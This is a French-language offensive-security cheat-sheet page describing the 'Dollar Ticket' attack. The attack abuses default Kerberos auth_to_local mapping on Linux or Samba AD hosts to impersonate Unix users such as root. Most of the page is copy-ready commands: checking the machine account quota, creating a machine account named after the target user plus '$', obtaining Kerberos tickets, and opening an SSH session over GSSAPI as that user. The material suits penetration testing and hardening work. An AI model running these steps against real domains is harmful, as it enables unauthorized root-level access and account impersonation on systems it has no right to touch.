Exploitation

Dollar Ticket

Confusion de principal Kerberos (AD Linux / Samba AD). Sur un hôte kerberisé, MIT Kerberos mappe par défaut (auth_to_local = DEFAULT) un principal du realm vers l'utilisateur Unix homonyme. En créant un compte machine nommé exactement comme un user Unix cible suffixé de $ (ex: root$), on s'authentifie en GSSAPI en tant que cet utilisateur (root) sur SSH, NFS, etc.

Prérequis

  • Droit de créer un compte machine : MachineAccountQuota > 0, ou un droit de création délégué à un compte qu'on contrôle.
  • L'hôte cible s'authentifie via Kerberos/GSSAPI et utilise le mapping auth_to_local par défaut (pas de localauth plugin restrictif / règle custom).
  • On connaît un utilisateur Unix existant sur l'hôte à usurper (son nom = nom du compte machine, + $).
Copy command
nxc ldap $DC -u $USER -p $PASS -M maq

Description: Vérifier qu'on peut créer un compte machine : MAQ > 0, ou un droit de création délégué (ms-DS-MachineAccountQuota / CreateChild sur une OU). Sans ça, l'attaque n'est pas possible.

Copy command
id $TARGET_USER   # côté cible : confirmer que l'utilisateur Unix existe

Description: L'attaque usurpe un utilisateur Unix existant sur l'hôte kerberisé (ex: root). C'est ce nom qui devient le nom du compte machine, suffixé de $.

Copy command
addcomputer.py $DOMAIN/$USER:'$PASS' -computer-name '$TARGET_USER$' -computer-pass '$NEWPASS' -dc-ip $DC -dc-host $DC_FQDN -method SAMR

Description: Créer un compte machine nommé EXACTEMENT comme l'utilisateur Unix cible + $ (ex: root$). Le sAMAccountName doit matcher le user local à usurper.

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p '$PASS' add computer '$TARGET_USER$' '$NEWPASS'

Description: Alternative LDAP (bloodyAD) pour créer le compte machine, utile si SAMR/addcomputer.py est bloqué.

Copy command
echo '$NEWPASS' | kinit '$TARGET_USER$@$REALM'

Description: Obtenir un TGT pour le compte machine. Le principal est $TARGET_USER$@$REALM (realm en MAJUSCULES, ex: DOMAIN.LOCAL).

Copy command
kvno host/$TARGET_HOST

Description: Demander le ticket de service du SPN visé (ici host/ pour SSH GSSAPI). Vérifie que le KDC émet bien un TGS pour notre compte machine.

Copy command
ssh -o PreferredAuthentications=gssapi-with-mic -o PubkeyAuthentication=no $TARGET_USER@$TARGET_HOST 'id'

Description: Cœur du Dollar Ticket : en GSSAPI, la règle auth_to_local = DEFAULT mappe le principal $TARGET_USER$ vers le user Unix $TARGET_USER (l'alias $ des comptes machine est retiré). On ouvre une session en tant que cet utilisateur.

Référence : The Hacker Recipes - Dollar ticket · Samba Wiki - Dollar Ticket Attack